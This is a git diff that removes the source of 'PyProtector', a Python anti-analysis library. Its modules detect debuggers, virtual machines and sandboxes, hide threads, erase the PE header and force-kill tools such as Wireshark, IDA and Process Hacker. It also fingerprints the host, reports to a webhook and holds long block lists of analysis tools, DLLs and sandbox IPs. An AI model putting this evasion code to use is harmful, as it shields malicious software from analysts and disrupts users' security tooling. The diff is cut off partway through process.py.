/_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import os -import re -import wmi -import uuid - - -from typing import Final, List, Set, Any, final -from cryptography.fernet import Fernet -from base64 import b64encode - -from .utils.http import getIPAddress - - -@final -class UserInfo: - USERNAME: Final[str] = os.getlogin() - PC_NAME: Final[str] = os.getenv("COMPUTERNAME") or "Unknown-PC" - IP: Final[str] = getIPAddress() - COMPUTER: Any = wmi.WMI() - HWID: Final[str] = COMPUTER.Win32_ComputerSystemProduct()[0].UUID - MAC: Final[str] = ":".join(re.findall("..", "%012x" % uuid.getnode())) - GPU: Final[str] = COMPUTER.Win32_VideoController()[0].Name - - -@final -class LoggingInfo: - KEY: bytes = Fernet.generate_key() - CIPHER: Fernet = Fernet(KEY) - - -def encrypted_formatter(record) -> str: - encrypted: bytes = LoggingInfo.CIPHER.encrypt(record["message"].encode("utf8")) - record["extra"]["encrypted"] = b64encode(encrypted).decode("latin1") - return "[{time:YYYY-MM-DD HH:mm:ss}] {module}::{function}({line}) - {extra[encrypted]}\n{exception}" - - -@final -class ProtectorInfo: - VERSION: Final[str] = "2.0" - ROOT_PATH: str = os.path.abspath(os.curdir) - - -@final -class EmbedConfig: - COLOR: Final[str] = "5865F2" - TITLE: Final[str] = f"PythonProtector - {ProtectorInfo.VERSION}" - VERSION: Final[str] = ProtectorInfo.VERSION - ICON: Final[str] = ( - "https://thereisabotforthat-storage.s3.amazonaws.com/1548526271231_security%20bot%20logo.png" - ) - - -@final -class Lists: - BLACKLISTED_PROGRAMS: Final[List[str]] = [ - "httpdebuggerui.exe", - "wireshark.exe", - "HTTPDebuggerSvc.exe", - "fiddler.exe", - "regedit.exe", - "taskmgr.exe", - "vboxservice.exe", - "df5serv.exe", - "processhacker.exe", - "vboxtray.exe", - "vmtoolsd.exe", - "vmwaretray.exe", - "ida.exe", - "ida64.exe", - "ollydbg.exe", - "pestudio.exe", - "vmwareuser", - "vgauthservice.exe", - "vmacthlp.exe", - "x96dbg.exe", - "vmsrvc.exe", - "x32dbg.exe", - "vmusrvc.exe", - "prl_cc.exe", - "prl_tools.exe", - "xenservice.exe", - "qemu-ga.exe", - "joeboxcontrol.exe", - "ksdumperclient.exe", - "ksdumper.exe", - "joeboxserver.exe", - ] - BLACKLISTED_DLLS: Final[List[str]] = [ - "sbiedll.dll", - "api_log.dll", - "dir_watch.dll", - "pstorec.dll", - "vmcheck.dll", - "wpespy.dll", - "crack.dll", - "cheat.dll", - "bypass.dll", - ] - VIRTUAL_MACHINE_PROCESSES: Final[List[str]] = [ - "xenservice.exe", - "VMSrvc.exe", - "VMUSrvc.exe", - "VMwareService.exe", - "VMwareTray.exe", - "vboxservice.exe", - "vboxtray.exe", - "qemu-ga.exe", - "vdagent.exe", - "vdservice.exe", - ] - BLACKLISTED_WINDOW_NAMES: Final[List[str]] = [ - "IDA: Quick start", - "VBoxTrayToolWndClass", - "VBoxTrayToolWnd", - "proxifier", - "graywolf", - "extremedumper", - "zed", - "exeinfope", - "titanHide", - "ilspy", - "titanhide", - "x32dbg", - "codecracker", - "simpleassembly", - "process hacker 2", - "pc-ret", - "http debugger", - "Centos", - "process monitor", - "debug", - "ILSpy", - "reverse", - "simpleassemblyexplorer", - "process", - "de4dotmodded", - "dojandqwklndoqwd-x86", - "sharpod", - "folderchangesview", - "fiddler", - "die", - "pizza", - "crack", - "strongod", - "ida -", - "brute", - "dump", - "StringDecryptor", - "wireshark", - "debugger", - "httpdebugger", - "gdb", - "kdb", - "x64_dbg", - "windbg", - "x64netdumper", - "petools", - "scyllahide", - "megadumper", - "reversal", - "ksdumper v1.1 - by equifox", - "dbgclr", - "HxD", - "monitor", - "peek", - "ollydbg", - "ksdumper", - "http", - "wpe pro", - "dbg", - "httpanalyzer", - "httpdebug", - "PhantOm", - "kgdb", - "james", - "x32_dbg", - "proxy", - "phantom", - "mdbg", - "WPE PRO", - "system explorer", - "de4dot", - "x64dbg", - "X64NetDumper", - "protection_id", - "charles", - "systemexplorer", - "pepper", - "hxd", - "procmon64", - "MegaDumper", - "ghidra", - "xd", - "0harmony", - "dojandqwklndoqwd", - "hacker", - "process hacker", - "SAE", - "mdb", - "checker", - "harmony", - "Protection_ID", - "PETools", - "scyllaHide", - "x96dbg", - "systemexplorerservice", - "folder", - "mitmproxy", - "dbx", - "sniffer", - "http toolkit", - ] - BLACKLISTED_PATHS: Final[List[str]] = [r"D:\Tools", r"D:\OS2", r"D:\NT3X"] - BLACKLISTED_IPS: Final[list[str]] = [ - "None", - "88.132.231.71", - "78.139.8.50", - "20.99.160.173", - "88.153.199.169", - "84.147.62.12", - "194.154.78.160", - "92.211.109.160", - "195.74.76.222", - "188.105.91.116", - "34.105.183.68", - "92.211.55.199", - "79.104.209.33", - "95.25.204.90", - "34.145.89.174", - "109.74.154.90", - "109.145.173.169", - "34.141.146.114", - "212.119.227.151", - "195.239.51.59", - "192.40.57.234", - "64.124.12.162", - "34.142.74.220", - "188.105.91.173", - "109.74.154.91", - "34.105.72.241", - "109.74.154.92", - "213.33.142.50", - "109.74.154.91", - "93.216.75.209", - "192.87.28.103", - "88.132.226.203", - "195.181.175.105", - "88.132.225.100", - "92.211.192.144", - "34.83.46.130", - "188.105.91.143", - "34.85.243.241", - "34.141.245.25", - "178.239.165.70", - "84.147.54.113", - "193.128.114.45", - "95.25.81.24", - "92.211.52.62", - "88.132.227.238", - "35.199.6.13", - "80.211.0.97", - "34.85.253.170", - "23.128.248.46", - "35.229.69.227", - "34.138.96.23", - "192.211.110.74", - "35.237.47.12", - "87.166.50.213", - "34.253.248.228", - "212.119.227.167", - "193.225.193.201", - "34.145.195.58", - "34.105.0.27", - "195.239.51.3", - "35.192.93.107", - "213.33.190.22", - "194.154.78.152", - ] - PROXY_IPS: Final[List[str]] = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] - PROXY_HEADERS: Final[List[str]] = ["Via", "Forwarded", "X-Forwarded-For"] - - -@final -class Valid: - Modules: Final[Set[str]] = { - "Miscellaneous", - "AntiProcess", - "AntiDLL", - "AntiVM", - "AntiAnalysis", - "AntiDump", - } - Detections: Final[Set[str]] = {"Screenshot", "Exit", "Report"} diff --git a/pyprotector/modules/__init__.py b/pyprotector/modules/__init__.py deleted file mode 100644 index 3e242fd..0000000 --- a/pyprotector/modules/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" diff --git a/pyprotector/modules/analysis.py b/pyprotector/modules/analysis.py deleted file mode 100644 index 694f7c4..0000000 --- a/pyprotector/modules/analysis.py +++ /dev/null @@ -1,319 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import os -import ctypes - -from ctypes import WinDLL - -from ..types import Event, Logger -from ..abc import Module -from ..utils.webhook import Webhook - - -class AntiAnalysis(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - self.kernel32: WinDLL = ctypes.windll.kernel32 - self.ntdll: WinDLL = ctypes.windll.ntdll - - @property - def name(self) -> str: - return "Anti Analysis" - - @property - def version(self) -> float: - return 1.0 - - def CheckDebugPrivilege(self) -> None: - """Check Debug Privilege""" - hToken = ctypes.c_void_p() - if ( - self.ntdll.NtOpenProcessToken( - self.kernel32.GetCurrentProcess(), 0x0020, ctypes.byref(hToken) - ) - != 0 - ): - return - - privileges = ctypes.create_string_buffer(1024) - return_length = ctypes.c_ulong() - if ( - self.ntdll.NtQueryInformationToken( - hToken, - 0x03, - ctypes.byref(privileges), - ctypes.sizeof(privileges), - ctypes.byref(return_length), - ) - != 0 - ): - self.ntdll.NtClose(hToken) - return - - debug_privilege = (ctypes.c_int * (return_length.value // 8)).from_buffer( - privileges - ) - for priv in debug_privilege: - if priv.s_luid.LowPart == 21 and priv.s_attributes & 0x00000002: - self.ntdll.NtClose(hToken) - if self.report: - self.webhook.send("Debug Privilege Enabled", self.name) - self.event.dispatch( - ["debug_privilege_found", "pyprotector_detect"], - "Debug Privilege Enabled", - self.name, - ) - if self.exit: - self.logger.info("Debug Privilege Enabled, Exiting") - os._exit(1) - - self.ntdll.NtClose(hToken) - - def HideThreads(self) -> None: - """Hide Current Threads""" - PID = self.kernel32.GetCurrentProcessId() - hProcess = self.kernel32.OpenProcess(0x1F0FFF, False, PID) - if hProcess is None: - return - - TID = self.kernel32.GetCurrentThreadId() - hThread = self.kernel32.OpenThread(0x1F03FF, False, TID) - if hThread is None: - self.kernel32.CloseHandle(hProcess) - return - - self.ntdll.NtSetInformationThread( - hThread, 0x11, ctypes.byref((ctypes.c_int(1)), ctypes.sizeof(ctypes.c_int)) - ) - - self.kernel32.CloseHandle(hThread) - self.kernel32.CloseHandle(hProcess) - - def CheckDebugObject(self) -> None: - """Check If Debug Object Handle Found""" - PID = self.kernel32.GetCurrentProcessId() - - hProcess = self.kernel32.OpenProcess(0x1F0FFF, False, PID) - if hProcess is None: - return - - HasDebugObject = ( - self.ntdll.NtQueryInformationProcess( - hProcess, - 0x1E, - ctypes.byref(ctypes.c_int(0)), - ctypes.sizeof(ctypes.c_int), - ctypes.byref(ctypes.c_int(0)), - ) - == 0 - ) - if HasDebugObject: - self.kernel32.CloseHandle(hProcess) - if self.report: - self.webhook.send("Debug Object Handle Detected", self.name) - self.event.dispatch( - ["debug_object_handle_found", "pyprotector_detect"], - "Debug Object Handle Detected", - self.name, - ) - if self.exit: - self.logger.info("Debug Object Handle Detected, Exiting") - os._exit((1)) - - def CheckSEDebugName(self) -> None: - """Check SE Debug Name""" - PID = self.kernel32.GetCurrentProcessId() - - hProcess = self.kernel32.OpenProcess(0x1F0FFF, False, PID) - if hProcess is None: - return - - DebugObjectHandle = ctypes.c_void_p() - if ( - self.ntdll.NtQueryObject( - hProcess, - 0x1F, - ctypes.byref(DebugObjectHandle), - ctypes.sizeof(DebugObjectHandle), - None, - ) - == 0 - ): - self.kernel32.CloseHandle(hProcess) - self.logger.info("Debug Object Handle Found") - if self.report: - self.webhook.send("Debug Object Handle Detected", self.name) - self.event.dispatch( - ["se_debug_name", "pyprotector_detect"], - "Debug Object Handle Detected", - self.name, - ) - if self.exit: - self.logger.info("Debug Object Handle Detected, Exiting") - os._exit((1)) - - def CheckNtGlobalFlag(self) -> None: - """Check NT_GLOBAL_FLAG_DEBUGGED""" - PEB = ctypes.c_int(0) - self.ntdll.NtQueryInformationProcess.argtypes = [ - ctypes.c_void_p, - ctypes.c_int, - ctypes.c_void_p, - ctypes.c_ulong, - ctypes.POINTER(ctypes.c_ulong), - ] - self.ntdll.NtQueryInformationProcess( - self.kernel32.GetCurrentProcess(), - 0, - ctypes.byref(PEB), - ctypes.sizeof(PEB), - None, - ) - if (PEB.value & 0x00000001) != 0: - self.logger.info( - "NT_GLOBAL_FLAG_DEBUGGED Found in the Process Environment Block" - ) - if self.report: - self.webhook.send( - "NT_GLOBAL_FLAG_DEBUGGED Found in the Process Environment Block", - self.name, - ) - self.event.dispatch( - ["nt_global_flag_debugged", "pyprotector_detect"], - "NT_GLOBAL_FLAG_DEBUGGED Found in the Process Environment Block", - self.name, - ) - if self.exit: - self.logger.info("NT_GLOBAL_FLAG_DEBUGGED Found, Exiting") - os._exit(1) - - def CheckHardwareBreakpoints(self) -> None: - """Check For Existing Hardware Breakpoints""" - try: - - class CONTEXT(ctypes.Structure): - _fields_ = [ - ("ContextFlags", ctypes.c_ulong), - ("Dr0", ctypes.c_ulong), - ("Dr1", ctypes.c_ulong), - ("Dr2", ctypes.c_ulong), - ("Dr3", ctypes.c_ulong), - ("Dr6", ctypes.c_ulong), - ("Dr7", ctypes.c_ulong), - ] - - TID = self.kernel32.GetCurrentThreadId() - hThread = self.kernel32.OpenThread(0x1F03FF, False, TID) - if hThread is None or hThread == 0: - return - - context = CONTEXT() - context.ContextFlags = 0x00000010 - - if self.kernel32.GetThreadContext(hThread, ctypes.byref(context)): - if ( - context.Dr0 != 0 - or context.Dr1 != 0 - or context.Dr2 != 0 - or context.Dr3 != 0 - ): - self.kernel32.CloseHandle(hThread) - self.logger.info("Hardware Breakpoints Found Set") - if self.report: - self.webhook.send("Hardware Breakpoints Found Set", self.name) - self.event.dispatch( - ["hardware_breakpoint_set", "pyprotector_detect"], - "Hardware Breakpoints Found Set", - self.name, - ) - if self.exit: - self.logger.info("Hardware Breakpoints Found, Exiting") - os._exit(1) - - self.kernel32.CloseHandle(hThread) - - except Exception as e: - self.logger.error(f"Error checking hardware breakpoints: {e}") - - def CheckDebugFilterState(self) -> None: - """Check Debug Filter State Being !=0""" - self.ntdll.DbgSetDebugFilterState(0, 0) - - DebugFilterState = ctypes.c_uint() - self.ntdll.DbgQueryDebugFilterState(0, ctypes.byref(DebugFilterState)) - - if DebugFilterState.value != 0: - self.logger.info("Debug Filter State is not 0") - if self.report: - self.webhook.send( - "Debug Filter State `!= 0`, debugging detected", self.name - ) - self.event.dispatch( - ["debug_filter_state", "pyprotector_detect"], - "Debug Filter State is not 0", - self.name, - ) - if self.exit: - self.logger.info("Debug Filter State Detected, Exiting") - os._exit(1) - - def CheckPEB(self) -> None: - """Check PEB For BeingDebugged""" - - class PEB(ctypes.Structure): - _fields_ = [("BeingDebugged", ctypes.c_byte)] - - process = self.kernel32.GetCurrentProcess() - - peb = PEB() - self.ntdll.NtQueryInformationProcess( - process, 0, ctypes.pointer(peb), ctypes.sizeof(peb), None - ) - - if peb.BeingDebugged: - self.logger.info("Process Being Debugged") - if self.report: - self.webhook.send("Process Found Being Debugged", self.name) - self.event.dispatch( - ["peb_being_debugged", "pyprotector_detect"], - "Process Found Being Debugged", - self.name, - ) - if self.exit: - self.logger.info("Process Being Debugged, Exiting") - os._exit(1) - - def StartAnalyzing(self) -> None: - if self.report: - self.logger.info("Starting Analysis Checks") - self.CheckDebugPrivilege() - self.CheckDebugObject() - self.CheckSEDebugName() - self.CheckNtGlobalFlag() - self.CheckHardwareBreakpoints() - self.CheckDebugFilterState() - self.CheckPEB() - if self.report: - self.logger.info("Finished All Analysis Checks") - - if self.report: - self.logger.info("Hiding Threads") - self.HideThreads() - if self.report: - self.logger.info("Threads Hidden") diff --git a/pyprotector/modules/dll.py b/pyprotector/modules/dll.py deleted file mode 100644 index 0a3572c..0000000 --- a/pyprotector/modules/dll.py +++ /dev/null @@ -1,91 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import os -import time - -import win32api -import win32process - - -from ..types import Event, Logger -from ..abc import Module -from ..constants import Lists -from ..utils.webhook import Webhook - - -class AntiDLL(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - @property - def name(self) -> str: - return "Anti DLL" - - @property - def version(self) -> float: - return 1.0 - - def BlockDLLs(self) -> None: - """Blocks Blacklisted DLL's From Being Loaded""" - while True: - try: - time.sleep(1) - EvidenceOfSandbox = [] - allPids: tuple = win32process.EnumProcesses() - for pid in allPids: - try: - hProcess: int = win32api.OpenProcess(0x0410, 0, pid) - try: - curProcessDLLs: tuple = win32process.EnumProcessModules( - hProcess - ) - for dll in curProcessDLLs: - dllName: str = str( - win32process.GetModuleFileNameEx(hProcess, dll) - ).lower() - for sandboxDLL in Lists.BLACKLISTED_DLLS: - if ( - sandboxDLL in dllName - and dllName not in EvidenceOfSandbox - ): # noqa: E501 - EvidenceOfSandbox.append(dllName) - win32api.CloseHandle(hProcess) - except BaseException: - pass - except Exception as e: - raise e - if EvidenceOfSandbox: - self.logger.info( - f"The Following DLL's: {EvidenceOfSandbox} Were Found Loaded" - ) - if self.report: - self.webhook.send( - f"The following DLLs were discovered loaded in processes running on the system. DLLS: {EvidenceOfSandbox}", - self.name, - ) - self.event.dispatch( - ["dll_attach", "pyprotector_detect"], - f"The following DLLs were discovered loaded in processes running on the system. DLLS: {EvidenceOfSandbox}", - self.name, - dlls=EvidenceOfSandbox, - ) - if self.exit: - self.logger.info("Exiting due to DLL detection") - os._exit(1) - except BaseException: - pass diff --git a/pyprotector/modules/dump.py b/pyprotector/modules/dump.py deleted file mode 100644 index b00696d..0000000 --- a/pyprotector/modules/dump.py +++ /dev/null @@ -1,71 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import ctypes -import win32api - - -from ctypes import WinDLL -from ctypes import wintypes - -from ..types import Event, Logger -from ..abc import Module -from ..utils.webhook import Webhook - - -class AntiDump(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - self.kernel32: WinDLL = ctypes.windll.kernel32 - self.ntdll: WinDLL = ctypes.windll.ntdll - - @property - def name(self) -> str: - return "Anti Dump" - - @property - def version(self) -> float: - return 1.0 - - def ErasePEHeaderFromMemory(self) -> None: - """ - Erases PE Header From Memory - """ - oldProtect = wintypes.DWORD(0) - - baseAddress = ctypes.c_int(win32api.GetModuleHandle(None)) - - self.kernel32.VirtualProtect( - ctypes.pointer(baseAddress), 4096, 0x04, ctypes.pointer(oldProtect) - ) - ctypes.memset(ctypes.pointer(baseAddress), 4096, ctypes.sizeof(baseAddress)) - self.event.dispatch( - ["pe_header_erased"], "PE Header Erased From Memory", self.name - ) - - def StartChecks(self) -> None: - if self.report: - self.logger.info("Starting Anti Dump") - - if self.report: - self.logger.info("Erasing PE Header From Memory") - self.ErasePEHeaderFromMemory() - if self.report: - self.logger.info("PE Header Erased From Memory") - - self.logger.info("Finished Anti Dump") diff --git a/pyprotector/modules/miscellaneous.py b/pyprotector/modules/miscellaneous.py deleted file mode 100644 index 1a72e86..0000000 --- a/pyprotector/modules/miscellaneous.py +++ /dev/null @@ -1,318 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import ctypes -import os -import time - -import socket -import struct -import requests -import psutil -import win32api - -from ..types import Event, Logger -from ..abc import Module -from ..constants import UserInfo, Lists -from ..utils.http import hasInternet -from ..utils.webhook import Webhook - - -class Miscellaneous(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - @property - def name(self) -> str: - return self.__class__.__name__ - - @property - def version(self) -> float: - return 1.0 - - def CheckInternet(self) -> None: - """ - Checks If There Is A Valid Connection To The Internet - """ - while True: - time.sleep(5) - if hasInternet() is False: - if self.report: - self.logger.info("CheckInternet Failed") - if self.exit: - self.logger.info("Exiting Due To No Internet Connection") - os._exit(1) - else: - pass - - def CheckRAM(self) -> None: - """Checks RAM Size For Being Less Than 4 GB""" - memory: int = psutil.virtual_memory().total - if memory <= 4294967296: - self.logger.info("RAM Check Failed") - if self.report: - self.webhook.send( - "Less than 4 GB of RAM exists on this system", - self.name, - ) - self.event.dispatch( - ["ram_check", "pyprotector_detect"], - "Less than 4 GB of RAM exists on this system", - self.name, - ram=memory, - ) - if self.exit: - self.logger.info("Exiting Due To Insufficient RAM") - os._exit(1) - - def CheckIsDebuggerPresent(self) -> None: - """Checks IsDebuggerPresent and CheckRemoteDebuggerPresent""" - isDebuggerPresent = ctypes.windll.kernel32.IsDebuggerPresent() - - if isDebuggerPresent: - self.logger.info("IsDebuggerPresent Returned True") - if self.report: - self.webhook.send("IsDebuggerPresent Returned True", self.name) - self.event.dispatch( - ["is_debugger_present", "pyprotector_detect"], - "IsDebuggerPresent Returned True", - self.name, - ) - if self.exit: - self.logger.info("Exiting Due To Debugger Presence") - os._exit(1) - - if ( - ctypes.windll.kernel32.CheckRemoteDebuggerPresent( - ctypes.windll.kernel32.GetCurrentProcess(), False - ) - != 0 - ): - self.logger.info("CheckRemoteDebuggerPresent Returned True") - if self.report: - self.webhook.send( - "CheckRemoteDebuggerPresent Returned True", - self.name, - ) - self.event.dispatch( - ["check_remote_debugger_present", "pyprotector_detect"], - "CheckRemoteDebuggerPresent Returned True", - self.name, - ) - if self.exit: - self.logger.info("Exiting Due To Remote Debugger Presence") - os._exit(1) - - def CheckDiskSize(self) -> None: - """Check Disk Size""" - minDiskSizeGB: float = 50.0 - - _, diskSizeBytes, _ = win32api.GetDiskFreeSpaceEx() - diskSizeGB: float = diskSizeBytes / 1073741824 - - if diskSizeGB < minDiskSizeGB: - self.logger.info("Disk Check Failed") - if self.report: - self.webhook.send( - f"The Current Disk Size Is {diskSizeGB}GB, Which Is Less Than The Minimum", - self.name, - ) - self.event.dispatch( - ["disk_size_check", "pyprotector_detect"], - f"The Current Disk Size Is {diskSizeGB}GB, Which Is Less Than The Minimum", - self.name, - disk_size=diskSizeGB, - ) - if self.exit: - self.logger.info("Exiting Due To Insufficient Disk Space") - os._exit(1) - - def KillTasks(self) -> None: - """Kills Common RE Tasks""" - os.system("taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1") - os.system("taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1") - os.system('taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1') - os.system('taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1') - os.system("sc stop HTTPDebuggerPro >nul 2>&1") - os.system("sc stop KProcessHacker3 >nul 2>&1") - os.system("sc stop KProcessHacker2 >nul 2>&1") - os.system("sc stop KProcessHacker1 >nul 2>&1") - os.system("sc stop wireshark >nul 2>&1") - os.system("sc stop npf >nul 2>&1") - os.system("sc stop HTTPDebuggerPro >nul 2>&1") - os.system( - 'cmd.exe /c @RD /S /Q "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE" >nul 2>&1' - ) - - def CheckPaths(self) -> None: - """Checks Paths on Computer Against Blacklisted Paths""" - for path in Lists.BLACKLISTED_PATHS: - if os.path.exists(path): - self.logger.info("Blacklisted Path Found") - if self.report: - self.webhook.send("Blacklisted Path Found", self.name) - self.event.dispatch( - ["blacklisted_path", "pyprotector_detect"], - "Blacklisted Path Found", - self.name, - path=path, - ) - if self.exit: - self.logger.info(f"Exiting Due To Blacklisted Path: {path}") - os._exit(1) - else: - pass - - def CheckIPs(self) -> None: - """Checks User IP Against Blacklisted List""" - if UserInfo.IP in Lists.BLACKLISTED_IPS: - self.logger.info(f"{UserInfo.IP} Is A Blacklisted IP Address") - if self.report: - self.webhook.send( - f"`{UserInfo.IP}` Is A Blacklisted IP Address", self.name - ) - self.event.dispatch( - ["ip_check", "pyprotector_detect"], - f"{UserInfo.IP} Is A Blacklisted IP Address", - self.name, - ip=UserInfo.IP, - ) - if self.exit: - self.logger.info("Exiting Due To Blacklisted IP Address") - os._exit(1) - else: - pass - - def CheckCPUCores(self) -> None: - """Checks CPU Core Count For Being Less Than 1""" - - cpu_count = psutil.cpu_count() - - if cpu_count is None: - self.logger.warning("Could Not Determine CPU Core Count") - return - - if cpu_count <= 1: - self.logger.info("CPU Core Count Is Less Than Or Equal To 1") - if self.report: - self.webhook.send( - "CPU Core Count Is Less Than Or Equal To `1`", self.name - ) - self.event.dispatch( - ["cpu_count", "pyprotector_detect"], - "CPU Core Count Is Less Than Or Equal To 1", - self.name, - ) - if self.exit: - self.logger.info("Exiting Due To Insufficient CPU Cores") - os._exit(1) - - def IsUsingProxy(self) -> None: - """Checks If Proxies Are In Use""" - headers: dict[str, str] = {"User-Agent": "Mozilla/5.0"} - response = requests.get("https://www.google.com", headers=headers) - for header in Lists.PROXY_HEADERS: - if header in response.headers: - self.logger.info("Proxy Headers In Use") - if self.report: - self.webhook.send("Proxy Headers Being Used", self.name) - self.event.dispatch( - ["proxy_headers", "pyprotector_detect"], - "Proxy Headers Being Used", - self.name, - header=header, - ) - if self.exit: - self.logger.info("Exiting Due To Proxy Headers Being Used") - os._exit(1) - - if UserInfo.IP in Lists.PROXY_IPS: - self.logger.info("Proxy IP In Use") - if self.report: - self.webhook.send("Proxy IP Being Used", self.name) - self.event.dispatch( - ["proxy_ip", "pyprotector_detect"], - "Proxy IP Being Used", - self.name, - ip=UserInfo.IP, - ) - if self.exit: - self.logger.info("Exiting Due To Proxy IP Being Used") - os._exit(1) - - try: - _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - _socket.settimeout(5) - _socket.connect(("check.torproject.org", 9050)) - _socket.send(b"GET / HTTP/1.1\r\nHost: check.torproject.org\r\n\r\n") - data: bytes = _socket.recv(1024) - if "Congratulations" in data.decode(): - self.logger.info("Tor Network Detected") - if self.report: - self.webhook.send("Tor Network In Use", self.name) - self.event.dispatch( - ["tor_network", "pyprotector_detect"], - "Tor Network In Use", - self.name, - ) - if self.exit: - self.logger.info("Exiting Due To Tor Network Detection") - os._exit(1) - except Exception: - pass - - try: - IP = struct.unpack("!I", socket.inet_aton(UserInfo.IP))[0] - if IP >> 24 in [0, 10, 100, 127, 169, 172, 192]: - self.logger.info("Transparent Proxies Detected") - if self.report: - self.webhook.send("Transparent Proxies Detected", self.name) - self.event.dispatch( - ["transparent_proxies", "pyprotector_detect"], - "Transparent Proxies Detected", - self.name, - ) - if self.exit: - self.logger.info("Exiting Due To Transparent Proxies Detection") - os._exit(1) - except Exception: - pass - - def StartChecks(self) -> None: - if self.report: - self.logger.info("Starting Miscellaneous Checks") - self.CheckPaths() - self.CheckIPs() - self.CheckCPUCores() - self.CheckRAM() - self.CheckIsDebuggerPresent() - self.CheckDiskSize() - self.KillTasks() - self.IsUsingProxy() - if self.report: - self.logger.info("Finished Miscellaneous Checks") - - self.CheckInternet() diff --git a/pyprotector/modules/process.py b/pyprotector/modules/process.py deleted file mode 100644 index affd07e..0000000 --- a/pyprotector/modules/process.py +++ /dev/null @@ -1,115 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import os -import time - -import psutil -import win32gui - -from win32process import GetWindowThreadProcessId - -from ..types import Event, Logger -from ..abc import Module -from ..constants import Lists -from ..utils.webhook import Webhook -import contextlib - - -class AntiProcess(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - @property - def name(self) -> str: - return "Anti Process" - - @property - def version(self) -> float: - return 1.0 - - def CheckProcessList(self) -> None: - """ - Checks the Process List for any Blacklisted Programs - """ - while True: - try: - time.sleep(2.0) - for process in psutil.process_iter(): - if any( - process_name in process.name().lower() - for process_name in Lists.BLACKLISTED_PROGRAMS - ): - try: - if self.report: - self.logger.info(f"{process.name} Process Was Running") - self.webhook.send( - f"`{process.name()}` was detected running on the system.", - self.name, - ) - 